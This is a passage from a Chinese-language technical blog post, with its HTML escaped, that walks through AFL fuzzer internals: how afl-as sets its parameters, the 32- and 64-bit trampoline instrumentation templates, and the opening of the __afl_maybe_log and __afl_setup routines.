&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;p&gt;至此，插桩函数 &lt;code&gt;add_instrumentation&lt;&#x2F;code&gt; 的主要逻辑已梳理完成。&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;edit_params&lt;&#x2F;code&gt;，该函数主要是设置变量 &lt;code&gt;as_params&lt;&#x2F;code&gt; 的值，以及 &lt;code&gt;use_64bit&#x2F;modified_file&lt;&#x2F;code&gt; 的值， 其整体控制流程如下：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] afl-as main() 控制流：tmp_dir 依次取 TMPDIR、TEMP、&#x2F;tmp；clang_mode 未设 AFL_AS 时 afl_as 依次取 AFL_CC、AFL_CXX、clang；解析 -64&#x2F;-32&#x2F;-arch 设 use_64bit，非法组合 FATAL；clang 下追加 -c -x assembler；input_file 为最后一个参数，-version 仅设 just_version；最后生成临时 modified_file 进入插桩。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;获取环境变量 &lt;code&gt;TMPDIR&lt;&#x2F;code&gt; 和 &lt;code&gt;AFL_AS&lt;&#x2F;code&gt;;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;对于 &lt;code&gt;__APPLE_&lt;&#x2F;code&gt; 宏， 如果当前在 &lt;code&gt;clang_mode&lt;&#x2F;code&gt; 且没有设置 &lt;code&gt;AFL_AS&lt;&#x2F;code&gt; 环境变量，会设置 &lt;code&gt;use_clang_mode = 1&lt;&#x2F;code&gt;，并设置 &lt;code&gt;afl-as&lt;&#x2F;code&gt; 为 &lt;code&gt;AFL_CC&#x2F;AFL_CXX&#x2F;clang&lt;&#x2F;code&gt;中的一种；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 &lt;code&gt;tmp_dir&lt;&#x2F;code&gt; ，尝试获取的环境变量依次为 &lt;code&gt;TEMP, TMP&lt;&#x2F;code&gt;，如果都失败，则直接设置为 &lt;code&gt;&#x2F;tmp&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;调用 &lt;code&gt;ck_alloc()&lt;&#x2F;code&gt; 函数为 &lt;code&gt;as_params&lt;&#x2F;code&gt; 参数数组分配内存，大小为(argc + 32) * 8；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 &lt;code&gt;afl-as&lt;&#x2F;code&gt; 路径：&lt;code&gt;as_params[0] = afl_as ? afl_as : (u8*)&quot;as&quot;;&lt;&#x2F;code&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 &lt;code&gt;  as_params[argc] = 0;&lt;&#x2F;code&gt; ，as_par_cnt 初始值为1；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;遍历从 &lt;code&gt;argv[1]&lt;&#x2F;code&gt; 到 &lt;code&gt;argv[argc-1]&lt;&#x2F;code&gt; 之前的每个 argv：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果存在字符串 &lt;code&gt;--64&lt;&#x2F;code&gt;， 则设置 &lt;code&gt;use_64bit = 1&lt;&#x2F;code&gt; ；如果存在字符串 &lt;code&gt;--32&lt;&#x2F;code&gt; ，则设置 &lt;code&gt;use_64bit = 0&lt;&#x2F;code&gt;。对于&lt;code&gt;__APPLE__&lt;&#x2F;code&gt; ，如果存在&lt;code&gt;-arch x86_64&lt;&#x2F;code&gt;，设置 &lt;code&gt;use_64bit=1&lt;&#x2F;code&gt;，并跳过&lt;code&gt;-q&lt;&#x2F;code&gt;和&lt;code&gt;-Q&lt;&#x2F;code&gt;选项；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;as_params[as_par_cnt++] = argv[i]&lt;&#x2F;code&gt;，设置as_params的值为argv对应的参数值&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;开始设置其他参数：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;对于 &lt;code&gt;__APPLE__&lt;&#x2F;code&gt;，如果设置了 &lt;code&gt;use_clang_as&lt;&#x2F;code&gt;，则追加 &lt;code&gt;-c -x assembler&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 &lt;code&gt;input_file&lt;&#x2F;code&gt; 变量：&lt;code&gt;input_file = argv[argc - 1];&lt;&#x2F;code&gt;，把最后一个参数的值作为 &lt;code&gt;input_file&lt;&#x2F;code&gt;；&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;如果 &lt;code&gt;input_file&lt;&#x2F;code&gt; 的首字符为&lt;code&gt;-&lt;&#x2F;code&gt;：&lt;&#x2F;p&gt;
&lt;ol&gt;
&lt;li&gt;如果后续为 &lt;code&gt;-version&lt;&#x2F;code&gt;，则 &lt;code&gt;just_version = 1&lt;&#x2F;code&gt;, &lt;code&gt;modified_file = input_file&lt;&#x2F;code&gt;，然后跳转到&lt;code&gt;wrap_things_up&lt;&#x2F;code&gt;。这里就只是做&lt;code&gt;version&lt;&#x2F;code&gt;的查询；&lt;&#x2F;li&gt;
&lt;li&gt;如果后续不为 &lt;code&gt;-version&lt;&#x2F;code&gt;，抛出异常；&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;如果 &lt;code&gt;input_file&lt;&#x2F;code&gt; 首字符不为&lt;code&gt;-&lt;&#x2F;code&gt;，比较 &lt;code&gt;input_file&lt;&#x2F;code&gt; 和 &lt;code&gt;tmp_dir &lt;&#x2F;code&gt;、&lt;code&gt;&#x2F;var&#x2F;tmp&lt;&#x2F;code&gt; 、&lt;code&gt;&#x2F;tmp&#x2F;&lt;&#x2F;code&gt;的前 &lt;code&gt;strlen(tmp_dir)&#x2F;9&#x2F;5&lt;&#x2F;code&gt;个字节是否相同，如果不相同，就设置 &lt;code&gt;pass_thru&lt;&#x2F;code&gt; 为1；&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;设置 &lt;code&gt;modified_file&lt;&#x2F;code&gt;：&lt;code&gt;modified_file = alloc_printf(&quot;%s&#x2F;.afl-%u-%u.s&quot;, tmp_dir, getpid(), (u32)time(NULL));&lt;&#x2F;code&gt;，即为&lt;code&gt;tmp_dir&#x2F;afl-pid-tim.s&lt;&#x2F;code&gt; 格式的字符串
4. 设置&lt;code&gt;as_params[as_par_cnt++] = modified_file&lt;&#x2F;code&gt;，&lt;code&gt;as_params[as_par_cnt] = NULL;&lt;&#x2F;code&gt;。&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ol&gt;
&lt;h4 id=&quot;3-instrumentation-trampoline-he-main-payload&quot;&gt;3. instrumentation trampoline 和 main_payload&lt;&#x2F;h4&gt;
&lt;p&gt;&lt;code&gt;trampoline&lt;&#x2F;code&gt; 的含义是“蹦床”，直译过来就是“插桩蹦床”。个人感觉直接使用英文更能表达出其代表的真实含义和作用，可以简单理解为桩代码。&lt;&#x2F;p&gt;
&lt;p&gt;根据前面内容知道，在64位环境下，AFL会插入 &lt;code&gt;trampoline_fmt_64&lt;&#x2F;code&gt; 到文件中，在32位环境下，AFL会插入&lt;code&gt;trampoline_fmt_32&lt;&#x2F;code&gt; 到文件中。&lt;code&gt;trampoline_fmt_64&#x2F;32&lt;&#x2F;code&gt;定义在 &lt;code&gt;afl-as.h&lt;&#x2F;code&gt; 头文件中：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;14&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;15&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;16&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;17&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;18&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;19&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;20&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;21&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;22&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;23&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;24&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;25&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;26&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;27&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;28&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;29&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;30&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;31&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;32&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;33&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;34&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;35&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;36&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;37&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;38&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;39&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;40&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;41&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;42&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;43&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;static const u8* trampoline_fmt_32 =&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;&#x2F;* --- AFL TRAMPOLINE (32-BIT) --- *&#x2F;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;.align 4\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;leal -16(%%esp), %%esp\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl %%edi,  0(%%esp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl %%edx,  4(%%esp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl %%ecx,  8(%%esp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl %%eax, 12(%%esp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl $0x%08x, %%ecx\n&quot;    &#x2F;&#x2F; 向ecx中存入识别代码块的随机桩代码id&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;call __afl_maybe_log\n&quot;   &#x2F;&#x2F; 调用 __afl_maybe_log 函数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl 12(%%esp), %%eax\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl  8(%%esp), %%ecx\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl  4(%%esp), %%edx\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movl  0(%%esp), %%edi\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;leal 16(%%esp), %%esp\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;&#x2F;* --- END --- *&#x2F;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;static const u8* trampoline_fmt_64 =&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;&#x2F;* --- AFL TRAMPOLINE (64-BIT) --- *&#x2F;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;.align 4\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;leaq -(128+24)(%%rsp), %%rsp\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq %%rdx,  0(%%rsp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq %%rcx,  8(%%rsp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq %%rax, 16(%%rsp)\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq $0x%08x, %%rcx\n&quot;  &#x2F;&#x2F; 64位下使用的寄存器为rcx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;call __afl_maybe_log\n&quot; &#x2F;&#x2F; 调用 __afl_maybe_log 函数&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq 16(%%rsp), %%rax\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq  8(%%rsp), %%rcx\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;movq  0(%%rsp), %%rdx\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;leaq (128+24)(%%rsp), %%rsp\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;&#x2F;* --- END --- *&#x2F;\n&quot;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &quot;\n&quot;;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;上面列出的插桩代码与我们在 &lt;code&gt;.s&lt;&#x2F;code&gt; 文件和IDA逆向中看到的插桩代码是一样的：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;code&gt;.s&lt;&#x2F;code&gt; 文件中的桩代码：&lt;&#x2F;p&gt;
&lt;blockquote&gt;
&lt;p&gt;📄 [图片文字版] 前一张桩代码截图的放大版：红框内为 AFL 插入的 64 位 trampoline 汇编，leaq -(128+24)(%rsp),%rsp 保存 %rdx&#x2F;%rcx&#x2F;%rax 三个寄存器，movq $0x0000ba83,%rcx 传入随机 map ID 后 call __afl_maybe_log 上报覆盖率，随后按相反顺序恢复寄存器与栈，右侧标注「插入的桩代码」。&lt;&#x2F;p&gt;
&lt;&#x2F;blockquote&gt;
&lt;p&gt;IDA逆向中显示的桩代码：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-ida-trampoline-stub.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210902114629.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;上述代码执行的主要功能包括：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;保存 &lt;code&gt;rdx&lt;&#x2F;code&gt;、 &lt;code&gt;rcx&lt;&#x2F;code&gt; 、&lt;code&gt;rax&lt;&#x2F;code&gt; 寄存器&lt;&#x2F;li&gt;
&lt;li&gt;将 &lt;code&gt;rcx&lt;&#x2F;code&gt; 的值设置为 &lt;code&gt;fprintf()&lt;&#x2F;code&gt; 函数将要打印的变量内容&lt;&#x2F;li&gt;
&lt;li&gt;调用 &lt;code&gt;__afl_maybe_log&lt;&#x2F;code&gt; 函数&lt;&#x2F;li&gt;
&lt;li&gt;恢复寄存器&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;在以上的功能中， &lt;code&gt;__afl_maybe_log&lt;&#x2F;code&gt; 才是核心内容。&lt;&#x2F;p&gt;
&lt;p&gt;从 &lt;code&gt;__afl_maybe_log&lt;&#x2F;code&gt; 函数开始，后续的处理流程大致如下(图片来自ScUpax0s师傅)：&lt;&#x2F;p&gt;
&lt;p&gt;&lt;img src=&quot;&#x2F;obsidian&#x2F;assets&#x2F;afl&#x2F;afl-maybe-log-flow.png&quot; alt=&quot;https:&#x2F;&#x2F;cdn.jsdelivr.net&#x2F;gh&#x2F;AlexsanderShaw&#x2F;BlogImages@main&#x2F;img&#x2F;vuln&#x2F;shebei20210827114857.jpg&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;p&gt;首先对上面流程中涉及到的几个bss段的变量进行简单说明（以64位为例，从&lt;code&gt;main_payload_64&lt;&#x2F;code&gt;中提取）：&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt;1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;.AFL_VARS:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  .comm   __afl_area_ptr, 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  .comm   __afl_prev_loc, 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  .comm   __afl_fork_pid, 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  .comm   __afl_temp, 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  .comm   __afl_setup_failure, 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  .comm    __afl_global_area_ptr, 8, 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt;：共享内存地址；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__afl_prev_loc&lt;&#x2F;code&gt;：上一个插桩位置（id为R(100)随机数的值）；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__afl_fork_pid&lt;&#x2F;code&gt;：由fork产生的子进程的pid；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__afl_temp&lt;&#x2F;code&gt;：缓冲区；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__afl_setup_failure&lt;&#x2F;code&gt;：标志位，如果置位则直接退出；&lt;&#x2F;li&gt;
&lt;li&gt;&lt;code&gt;__afl_global_area_ptr&lt;&#x2F;code&gt;：全局指针。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;strong&gt;说明&lt;&#x2F;strong&gt;&lt;&#x2F;p&gt;
&lt;p&gt;以下介绍的指令段均来自于 &lt;code&gt;main_payload_64&lt;&#x2F;code&gt; 。&lt;&#x2F;p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_maybe_log:   &#x2F;* 源码删除无关内容后 *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  lahf&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  seto  %al&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  &#x2F;* Check if SHM region is already mapped. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; &lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  movq  __afl_area_ptr(%rip), %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  testq %rdx, %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;  je    __afl_setup&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;首先，使用 &lt;code&gt;lahf&lt;&#x2F;code&gt; 指令（加载状态标志位到&lt;code&gt;AH&lt;&#x2F;code&gt;）将EFLAGS寄存器的低八位复制到 &lt;code&gt;AH&lt;&#x2F;code&gt;，被复制的标志位包括：符号标志位（SF）、零标志位（ZF）、辅助进位标志位（AF）、奇偶标志位（PF）和进位标志位（CF），使用该指令可以方便地将标志位副本保存在变量中；&lt;&#x2F;p&gt;
&lt;p&gt;然后，使用 &lt;code&gt;seto&lt;&#x2F;code&gt; 指令溢出置位；&lt;&#x2F;p&gt;
&lt;p&gt;接下来检查共享内存是否进行了设置，判断 &lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt; 是否为NULL：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果为NULL，跳转到 &lt;code&gt;__afl_setup&lt;&#x2F;code&gt; 函数进行设置；&lt;&#x2F;li&gt;
&lt;li&gt;如果不为NULL，继续进行。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;&lt;code&gt; 1&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 2&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 3&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 4&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 5&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 6&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 7&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 8&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt; 9&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;10&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;11&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;12&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;13&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;th&gt;&lt;code&gt;__afl_setup:&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&#x2F;* Do not retry setup is we had previous failues. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		cmpb $0, __afl_setup_failure(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		jne __afl_return&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&#x2F;* Check out if we have a global pointer on file. *&#x2F;&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		movq __afl_global_area_ptr(%rip), %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		testq %rdx, %rdx&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		je __afl_setup_first&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		movq %rdx, __afl_area_ptr(%rip)&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;code&gt;		jmp  __afl_store&lt;&#x2F;code&gt;&lt;br &#x2F;&gt;&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;p&gt;该部分的主要作用为初始化 &lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt; ，且只在运行到第一个桩时进行本次初始化。&lt;&#x2F;p&gt;
&lt;p&gt;首先，如果 &lt;code&gt;__afl_setup_failure&lt;&#x2F;code&gt; 不为0，直接跳转到 &lt;code&gt;__afl_return&lt;&#x2F;code&gt; 返回；&lt;&#x2F;p&gt;
&lt;p&gt;然后，检查 &lt;code&gt;__afl_global_area_ptr&lt;&#x2F;code&gt; 文件指针是否为NULL：&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;如果为NULL，跳转到 &lt;code&gt;__afl_setup_first&lt;&#x2F;code&gt; 进行接下来的工作；&lt;&#x2F;li&gt;
&lt;li&gt;如果不为NULL，将 &lt;code&gt;__afl_global_area_ptr&lt;&#x2F;code&gt; 的值赋给 &lt;code&gt;__afl_area_ptr&lt;&#x2F;code&gt;，然后跳转到 &lt;code&gt;__afl_store&lt;&#x2F;code&gt; 。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
